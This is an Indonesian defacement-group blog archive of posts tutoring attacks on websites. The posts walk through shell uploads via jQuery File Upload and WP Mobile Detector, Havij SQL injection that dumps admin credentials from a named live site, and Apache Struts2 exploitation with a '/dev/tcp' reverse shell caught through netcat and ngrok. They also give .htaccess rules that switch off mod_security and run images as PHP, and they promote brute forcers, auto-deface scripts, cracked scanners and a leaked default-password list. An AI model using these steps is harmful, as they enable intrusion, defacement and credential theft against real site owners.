Articles by "Exploit/Vulnerabilities"
Tampilkan postingan dengan label Exploit/Vulnerabilities. Tampilkan semua postingan

di 0

assalamualaikum wr.wb
sore yang cerah untuk bikin post :'v ,kali ini gua bakal share POC
Jquery File Upload :'v
menurut gue ini cara deface yang paling mudah
tapi kita harus pande pande bypass ext shell nya :'v
ok kita lanjut ke tutorial

Bahan Bahan

-Shell ext :php.fla / php56 /php6 /php2 /php1 /.ndsfx / dll
-dork : Touch Me 
csrf onlen : Mpssh
exploit : http://target.com/[path]/server/php/
 itu aja :'v

Tutorial 

 yang pertama adalah kita dorking bisa lewat google image ato google biasa
klo dorking pake google image ya tinggal pencet images :'v di bawah kolom pencarian
contoh w dorking di google image :
Google Image















ciri ciri vuln ? seperti ini :'v Forbidden ? tinggalkan sadja :'v














ok lanjut ekse go to csrf nya :) trus isi url target
trus post filenya files [] contoh punya saya :
selanjut nya pencet lock target :'v abis itu upload shell klean trus pencet upload gan :'v


selanjutnya kita diredirect ke web tersebut lalu mendapatkan pesan sbb :

nah klo seperti itu berarti shell kita ter upload sekarang kita akses dengan menambahkan /files/namashell
contoh : www.kontok.com/server/php/files/w.php.fla











mudah kan ? masih kurang faham ? tenang ada vidionya kok

jangan lupa ya dilike fp nya :)

sekian terima kasih






 


Continue reading

di 0
kali ini gua mau share deface dengan sqli with Havij oke sebelumnya gua udah share tools havij ini
sekarang gua mau share cara makenya oke langsung aja

Bahan Bahan 

-Havij Crack nya (download disini gan)
-google dork : (download disini)
-Kesabaran :D

Tutorial 

kita Extrack Havij 1.16 dlu di tempat yang mudah dijangkau contoh Desktop
lalu klik kanan pada havij nya lalu Klik Run as admin












penampakan havij nya gini gan












oke selanjutnya kamu cari target dlu contoh saya ada live target
live : www.labooi.com/page.php?articles=17
exploit : site.com/contoh.php?id=69'
tambahin petik
oke Selanjutnya kita masukin ke havij nya tanpa tanda petik












lihat ss diatas, oke selanjut nya adalah kita klik analyze












kita tunggu ampe statusnya analyze ok selanjutnya adalah kita lihat tabel database nya
pencet tables












setelah itu klik get tables













ok selanjutnya adalah kita nyari column yang berhubungan dengan user admin pencet get columns
 contoh :
     user
     admin
     users
berhubung saya dapetnya web brazil so gue pilih table
engi_utillisateurs












terlihat banyak sangad datanya :'v selanjutnya kita centang apa saja yang digunakan untuk login lalu pencet get data
contoh
email , username , password ,id , dll *use your brain












tuh keliatan kan user dan pw admin
tapi klo masih bentuk md5 kita harus hash dlu
contoh di table password kek gini
fb889735bdeb0f8fc200aad392c6aafa745c9284
nah tinggal kita hash saja di hashkiller.co.uk
selanjutnya tinggal login deh
Add caption














tuh liat punya saya heheh masuk ke dashboard admin
btw klo mentok nyari admin loginnya make admin finder yang saya sudah share
upload shell ? use your brain :)
masih kurang paham ? nih vidionya

segitu aja dari gua :) jangan lupa like fp kami ya ^_^
Continue reading

di 0


yo :'v dah lama gk ngepos ea ainx gk ada imajinasi buat share tutor :'v
nyari exploit baru di exploit-db nemu juga okwowkowk
langsung aja

Bahan : 

dork : inurl:"/wp-content/plugins/wp-mobile-detector/"
          *kembangkan
bekas defacean kalian
oke langsung ke TKP

TKP

1. Dorking di google :'v pilih satu gan jangan semua :'v
2.nah klo sudah exploit dengan
wp-content/plugins/wp-mobile-detector/resize.php
contoh:http://site.com/wp-content/plugins/wp-mobile-detector/resize.php
3.abis itu kita anuin resize.php nya
contoh :http://site.com/wp-content/plugins/wp-mobile-detector/resize.php?src=site.com/deface.php
*site.com/deface.php nya ganti sama bekas defacean kalian
4.nah klo udah akses deh ^_^
akses ? http://site.com/wp-content/plugins/wp-mobile-detector/cache/shell.php

Demo

http://www.alrashidschool.com/ischool/wp-content/plugins/wp-mobile-detector/cache/h3.html
Kurang Paham ? vidio nya

Continue reading

di 0
 yo apa kabar klean hehehehe ;'v
disini w mao bagi bagi tutor neh backconnect di shell :'v
ok langsung aja
pertama kalian download ngrok sama netcatnya 
kucing warnetnya : disni
https://ngrok.com/ daftar trus download
klo udah daftar :''v tinggal login abis login kita dialihkan ke dasboard member
nah disini terlihat ada auth token kita copy auth tokennya trus paste ke ngrok 

FAC!














klo udah install auth token kita ketikkan 

ngrok.exe tcp 123         
FAC2














nah klo udah kayak gitu buka netcat nya
ketikkan nc -lnvp 123
FAC3












kita ke shell 













kurang lebih seperti ss :'v
isi servernya
0.tcp.ngrok.io portnya:random number
kan 0.tcp.ngrok.io:randomport

FAC4













sukses tinggal kau root 
Continue reading

di 0

Cara Deface Dengan Apache Sruts2 ( Remote Code Execution)

yo apa kabar gaes :''v gue admin baru nih hehehe kali ini gue bakal share tutor tentang 
Apache struts2 Remote Code Execution
sedikit info tentang Remote Code Execution ini Remote Code execution adalah sebuah vulnrability yang memungkinkan si attacker untuk memberikan code code berbahaya seperti namanya Remote Code kita bisa meremote kode kode tersebut lalu mengirimnya ke web target 
yodah gk usah banyak cocot lagi :'v 
Yup Langsung saja
Bahan : 
Dork : intitle:"Struts Problem Report" intext:"development mode is enabled."
Python <- disini gaes 
jexboss <- disini gaes 
netcat <-  disini gaes 

Langsung Ke tutor

1.Buka CMD lalu ke folder jexboss nya

2.yang ke dua ketikkan 
python jexboss.py -u http://targetklean.com 
klo vuln ada bacaan vulnerable trus ketik yes
3.sekarang kita coba reverse shell
Buka Netcat nya trus ketikkan
nc -lnvp 123















habis itu ke jexbossnya yang berhasil kita exploit
4.ketikkan /bin/bash -i > /dev/tcp/ip/port 0>&1 2>&1\n
note: klo port mu blom di forward coba pakai ngrok















Klo port blom di forward cek tutor disini gaes Tutorial back conect with Ngrok (disni)

Done udah kita berhasil reverse shell tinggal di anuin

Vidionya Gaes : disini gaes 

klo hoki sih bisa di root :''v
Continue reading

di 0
Tool Hacker Belt Pybelt

Tool Untuk Memudahkan Deface ,  Pybelt 

Jika kalian ingin melalukan peretasan mending gunakan Tools ini :) , mari kita Perkenalkan Tools Pybelt.
Pybelt adalah alat memudahkan peretas yang berbasis Python yang mampu memecahkan hash tanpa pengetahuan sebelumnya tentang algoritma, memindai port pada host tertentu, mencari kerentanan SQLi di URL yang diberikan, Mencari Website Dengan Google Dorks tanpa verikasi google, memverifikasi algoritme dari Hash yang diberikan, memindai URL untuk kerentanan XSS, dan menemukan proxy HTTP yang dapat digunakan.
Fitur - Fitur : 
  • Port Scanner
  • SQL Injection scanner
  • Dork Checker
  • Hash Cracker
  • Hash Type Verification
  • Proxy Finder
  • XSS Scanner
Untuk Melanjutkan Tahap Installan kalian install dahulu Python silahkan download di google ya :)
sekarang Download Dahulu Tool Nya :)


Ekstrak di Local disk C:\ biar mudah :) , dan ubah nama folder tersebut menjadi install ( bebas sih ganti nama aja biar mudah gw pake nama install ) lalu buka cmd dan ketik cd C:\install atau cd C:\ lalu cd install :)
Abis itu masukkan ini di cmd -> pip install -r requirements.txt
Lihat gambar biar ngerti ea 

SS1

Tunggu ampe selesai installan , jika selesai akan seperti ini :)

SS2

Selesai deh :) untuk gunakan Fitur lihat di bawah :
  • python pybelt.py -p 127.0.0.1 Scan Port pada host local
  • python pybelt.py -s http://example.com/php?id=2 Scan SQL 
  • python pybelt.py -d idea?id=55 Dork Scanner
  • python pybelt.py -c 9a8b1b7eee229046fc2701b228fc2aff:all Memecahkan hash menggunakan semua algoritma yang ada di komputer. 
  • python pybelt.py -v 098f6bcd4621d373cade4e832627b4f6 Mencari Verikasi Jenis HASH Seperti MD5
  • python pybelt.py -f Menemukan Proxy yang bisa di gunakan
  • python pybelt.py -x http://127.0.0.1/php?id=1 Mencari Isi Website untuk Kerengtanan XSS
Sekian dan Terimah kasih silahkan Like Fanspage kami biar makin Enjoy :) 
Continue reading

di 0
Kumpulan Code Untuk Bypass .Htaccess

Kumpulan Code Untuk Bypass .Htaccess

Bete kagak Ngeblog rasa gimana gitu, yah meskipun sedang cuti team wkwkwkkwk :'v

Bypass mod security :

<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
</IfModule>

Bypass symlink :

Options All
Options +FollowSymLinks +Indexes
DirectoryIndex default.html
AddType text/html php

Atau Bisa juga :


OPTIONS Indexes Includes ExecCGI FollowSymLinks
AddHandler txt .php
AddHandler cgi-script .cgi
AddHandler cgi-script .pl
OPTIONS Indexes Includes ExecCGI FollowSymLinks
Options Indexes FollowSymLinks
AddType txt .php
AddType text/html .shtml
Options All
Options All

Bypass safe mode :

Options +FollowSymLinks
DirectoryIndex ssssss.htm
Options All Indexes
<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckCookieFormat Off
SecFilterCheckUnicodeEncoding Off
SecFilterNormalizeCookies Off
</IfModule>
SetEnv PHPRC /home/user/public_html/php.ini
suPHP_ConfigPath /home/user/public_html/php.ini

Bypass 400


Options +Includes
AddType text/html .shtml
AddHandler server-parsed .shtml

RUN SSI


AddType text/html .shtml
AddOutputFilter INCLUDES .shtml

RUN JPG KE PHP


AddHandler application/x-httpd-php .jpg .php

Sekian dari gw , Lanjutkan Ilmu mu ya wkwkkwkwk :'v
Continue reading

di 0

Default Password List – 2017 (VoIP)

Pengertian Voice over Internet Protocol (VoIP) adalah teknologi yang mampu mengirimkan data suara, video dan data yang berbentuk paket secara realtime dengan jaringan yang menggunakan Internet Protocol (IP).
Dengin ini gw akan share default daftar perankat VoIP dengan nama vendor , user & password :

Default Password List – 2017 (VoIP)

Default Password List – 2017 (VoIP)
 Sumber ? Leaked :)
Continue reading

di 0
Family Attack Cyber 

DAVScan adalah cepat dan ringan WebDAV scanner yang dirancang untuk menemukan file dan folder tersembunyi pada webservers DAV diaktifkan. scanner bekerja dengan mengambil keuntungan dari terlalu istimewa / server WebDAV terkonfigurasi atau server rentan terhadap berbagai pengungkapan atau otentikasi memotong kerentanan. Pemindai mencoba untuk sidik jari server target dan kemudian laba-laba
server berdasarkan hasil dari permintaan akar PROPFIND.

Fitur :
  • Server sundulan fingerprinting - Jika webserver mengembalikan server header, davscan dapat mencari eksploitasi publik berdasarkan respon. 
  • Dasar DAV scanning dengan PROPFIND - Quick scan untuk menemukan sesuatu yang mungkin terlihat dari DAV. 
  • Unicode Tupoksi Bypass - Bekerja menggunakan GET belum menambahkan PROPFIND belum. Tidak sepenuhnya diuji sehingga periksa pekerjaan. 
  • Pengecualian dari DoS mengeksploitasi hasil - Anda dapat mengecualikan penolakan eksploitasi layanan dari hasil searchsploit. 
  • Pengecualian dari modul MSF dari mengeksploitasi hasil - Kustom searchsploit termasuk dalam repo untuk ini. Entah menimpa searchsploit atau cadangan yang ada dan mengganti. Fitur ini mungkin atau mungkin tidak berakhir dalam naskah searchsploit nyata.
Download Here
Thx Sudah membaca Artikel ini Semoga bermanfaat. mohon maaf jika ada salah kata :)
Family Attack Cyber ,  DAVScan , Webdav Security Scanner , Exploit Webdav , Webdav Auto Deface , Exploit Webdav Hmei7 , Hmei7 Tools
Continue reading

di 0


INURLBR adalah berdasarkan alat mesin pencari canggih PHP untuk profesional keamanan, mendukung 24 mesin pencari dan 6 web atau khusus dalam pilihan. Sangat berguna untuk tahap pengumpulan informasi dari uji penetrasi atau penilaian kerentanan.

Alat ini berfungsi dalam banyak cara yang memungkinkan Anda untuk memanfaatkan kekuatan apa yang sudah diindeks oleh mesin pencari dan menganalisis target Anda untuk eksploitasi potensi, capture E-mail dan URL dengan validasi internal kustom untuk setiap target / URL ditemukan.

Juga mendukung perintah eksternal untuk eksploitasi, jadi jika Anda scan / pencari menemukan potensi divalidasi kerentanan SQL Injection, Anda bisa memiliki INURLBR langsung meluncurkan sqlmap atau alat pilihan Anda.


Features : 

  • Generate IP ranges or random_ip and analyse the targets.
  • Customization of HTTP-HEADER, USER-AGET, URL-REFERENCE.
  • Execute external commands to exploit certain targets.
  • Generate random dorks or set dorks file.
  • Option to set proxy manually or from a file list.
  • Supports both SOCKS and HTTP proxies
  • Set time for proxy change when using random.
  • Supports TOR to randomise IP.
  • Debug processed URLs & HTTP requests.
  • Can send vulnerable URLs to an IRC chat room.
  • Support for GET / POST => SQLI, LFI, LFD injection exploits.
  • Filter and validate based on regexp.
  • Extraction of e-mail addresses and URLs.
  • Validation using HTTP response codes.
  • Search pages based on strings file.
  • Exploits commands manager.
  • Paging limiter on search engines.
  • Beep sound when a vulnerability is found.
  • Use text file as a data source for URLs to test.
  • Find personalized strings in return values of the tests.
  • Checks and validates for ShellShock
  • File validation for the WordPress config file – wp-config.php.
  • Can execute a sub-process for validation.
  • Validate syntax errors for databases and programming.
  • Data encryption as native parameter.
  • Random Google host.
  • Scan port.

Mesin Mencari yang Support :

  • Google / (CSE) generic random / API
  • Bing
  • Yahoo! BR
  • Ask
  • HAO123 Br
  • Google (API)
  • Lycos
  • UOL Br
  • Yahoo! US
  • Sapo
  • Dmoz
  • Gigablast
  • Never
  • Baidu BR
  • Andex
  • Zoo
  • Hotbot
  • Zhongsou
  • Hksearch
  • Ezilion
  • Sogou
  • DuckDuckGo
  • Boorow
  • Google (CSE) generic random
Special :
  • Tor Find
  • Elephant
  • Torsearch
  • Wikileaks
  • OTN
  • Shodan 

Errors Yang di Check untuk : 

  • Java Infinitydb
  • LFI
  • Zimbra mail
  • Zend framework
  • MariaDB
  • MySQL
  • Jbossweb
  • Microsoft
  • ODBC
  • PostgreSQL
  • PHP
  • WordPress
  • Web Shell
  • JDBC
  • ASP
  • Oracle
  • DB2
  • CFM
  • LUA
Jika kalian ingin Mendownload Silahkan Klik Tombol -> Here Download !
Terimah kasih sudah membaca tolong di share postingan ini jika bermanfaat buat kalian :D
 

 
Continue reading

di 0
(Update) Mencari Celah Admin Finder V3

Hallo :)
sekarang jarang on, saat tidak on sempat" update nich aplikasi :)
beberapa udh pasang wordlistnya sampat 101 wordlist yaitu setengah indo dan luar negeri :v
langsung aja kita comot :)
Download Here!!!

(Update) Mencari Celah Admin Finder V3

Continue reading

di 0
0Day Exploit Shell Finder
Tools ini berfungsi jika lo Gk tau tempat shell lo dan ini cocok untuk tikung shell orang :D what ? yes ini masih uji coba nanti gw fix yang error :D.

Klik di sini untuk Mendownload :D

Thx You Sudah membaca Tools ini :D
Continue reading

di 0

Deface Wordpress 0Day Exploiter
Software untuk Deface Website Wordpress :). Kok ada 0Day Exploit ? itu ente korban film Who Am I :v
Cara Menggunakan Pun Simple Nanti Akan ada Dork di dalam nya :) untuk mendownload silahkan Klik di bawah ini atau di samping ini :v -> Download Here :)
  • Target ? Target You Yang Dorking :)
  • Theme ? Yah ente pake Dork apa jika akhiran Theme  averin yah averin :)
  • Gmail ? Gmail Your Gunakan Gmail Fake Generator :) cek Google :)
Jika Bingung cek Youtube aja :). Thx Sudah baca & Share For Me. Jika mau Donasi ke kami silahkan klik kanan tombol Donasi :) Thx
Continue reading

di 0
Ok Kali ini gw share hasil coding gw perl :v Deface teknik ini sih gw bikin yg buat belajar Yg blm bisa deface aja :) langsung aja download file :)
Download File -> Download here :v
  • Buat List target dulu kumpulin di file txt
  • kumpulkan sebanyak mungkin
  • extrak file nya , copy semua ke locak disk c , copy list
  • ubah file auto exploiter bla bla ke yg simple kaya x.pl
  • penggunaan cd.. C:\ -> perl x.pl list.txt
  • tunggu -> Done
Dalam Teknik ini Auto Submit Zone-H Sama Auto Deface liat file deface tambahkan -> bl4ckb3k4si.html
Thx you :v klo submit zone-h use your brain :)
 
Continue reading

di 0
Gambar 1 
Pagi :) , iseng buat program perl biasanya kan vb.net kalini perl yah gw buat aja mungkin berguna :)
ini -_- buatan gw -_-, no betak orang lain :*
Ok Sekarang Downloa dahulu Scriptnya klik di bawah ini :
Tu5b0l Aeee (y)
Oh ya Jangan lupa Perl jika belom di install ya :) download di : Click sini ya yalah
Klo gw pake ActivePerl :)
Cara menggunakan pun simple ok mari kita lakukan tahap ini :v
  • Download dulu -_- (ya yalah)
  • Silahkan Extrak dahulu , abis itu file copy terus buka folder C: -> Perl -> LIB -> LWP , paste deh.Kalo gak mau ribet paste aja di locak disk C: klo gw di perl,lib,LWP :) yah seterah ente sih -_-
  • silahkan ganti nama Bruteforcecp.pl ganti sesuai kalian kaya x.pl atau simple biar gk ribet Gk di ganti gpp
  • Nah dalam tahap ini lo harus tahu user Website Cpanel tersebut kalo sudah tahu mari kita tahap lanjut
  • Sekarang buka cmd
  • Lihat gambar di bawah caranya

Gambar 2
  • tapi kalo simpen di local disk C: buka -> cd C: abis itu ketik nama file contoh bruteforcecp.pl
  • eeeet sampe lupa sorry sorry :v lo pada udh buka bruteforcecp.pl ? ok lanjut wkwkkw :v
  • jadi namafile.pl host user port list password
Host : Host itu Target ente
User : username Cp tersebut
Port : Port untuk login CP
List : List Password Brute force file nama -> faccp.txt
Password : Hasil Password brute force ya -> password.txt
Ok :) Done ? Done :v 100% aman :v
Ok itu caranya jangan lupa share No Share Mandul Ok :v
Continue reading

di 0
PunkSPIDER adalah mesin pencari kerentanan web global-mencapai ditujukan untuk aplikasi web. Tujuannya adalah untuk memungkinkan pengguna untuk menentukan kerentanan di situs di internet dengan cepat, mudah, dan intuitif. Silakan gunakan PunkSPIDER bertanggung jawab.

Dalam istilah sederhana, itu berarti penulis telah menciptakan sebuah scanner keamanan dan arsitektur yang diperlukan yang dapat mengeksekusi sejumlah besar scan kerentanan aplikasi web: semua pada waktu yang sama. Alat, atau lebih tepatnya gudang, bekerja dari sebuah cluster Apache Hadoop dan dapat menangani puluhan ribu scan.

Gimana Cara Menggunakan PunkSPIDER ? 
Mencari situs web tertentu mudah! Jika Anda tahu URL dari situs Anda, Anda cukup mengetik URL di kotak pencarian (tanpa http atau https) dan menemukan website Anda. Setelah ada Anda akan disajikan dengan jumlah kerentanan hadir di situs.

Mudah Kan ? Ok jangan lupa share artikel ini & jangan lupa titip Family Attack Cyber (y)
Join Grub ? Klik Disini!!!
Link PunkSPIDER ? Jangan Klik Disini eh maksudnya klik disini -_-
Ingin copas ? sertakan sumber !!! ketahuan tidak sertakan sumber ? siap" akan hangus :) 
 
Continue reading

di 0
URL Vulnerability Checker - Famiy Attack Cyber

Hallo Selamat Pagi Menjelang malam ^_^. udh lama Gk share :v Ente tahu kan :v gmna nasib me :'( Kuota tidak ada vro :v , tapi iseng" buat dulu Slow tidak ada Kuda Nyungsep di file kan Gw Baik Hati & Soleh :D
Udh Tau kan fungsinya ? Gk tau Mending Baca di ilmu Google dah atau mastah ente -_- kok dari tadi bacod mulu ya ? langsung aja download :D

URL Vulnerability Checker : Download Now!
Continue reading

di 0
Download Wordpress Brute Force v2

Download Wordpress Brute Force v2
Hallo, lagi ^_^ , kali ini mau share tools untuk deface :D -> WordPress. Langsung aja ya ? Download dari pada ribet jelasin mending silahkan ketik di google Pengertian BruteForce Wordpress.
WPBforcev2: Download Here!

Tutorilas :

  • Copy File itu paste di Locak Disk C:
  • Abis itu klik kanan -> Extrack Here
  • Buka CMD , Ketik cd.. abis itu ketik lagi cd..
  • Langsung Ketik WPforce.exe
  • Selesai

Dorks:
  • inurl:/wp-login.php
*Kembangin lagi Dork nya

Thank's sudah kunjung ke blog kami ^_^
Continue reading

di 0
Download Acunetix Full Crack 10.5


Kali ini saya akan share tools Hacking untuk deface :) Tools ini cocok untuk mengecek pertahanan website kalian :) atau bisa juga untuk deface :). Langsung saja kita download tanpa basa basi ^_^.

*Tutorials sudah ada di dalam

Download -> Download File Now!

Grub Facebook -> Family Attack Cyber (PUBLIC) 
Sekian dari saya ^_^ semoga bermanfaat jangan lupa kunjungin blog kami & share ke teman teman anda.
Continue reading

di 0
Download Webdav v3 Scanner


Kali ini saya mau share tools buatan Hmei7 yang master deface indonesia :D
Ok, untuk Menggunakan liat di blog ya :D di menu Deface :D (y)
Ok langsung saja download toolsnya tanpa banyak ketik


Webdav v3 Scanner Hmei7 : Download Now!
Continue reading
Langganan: Postingan (Atom)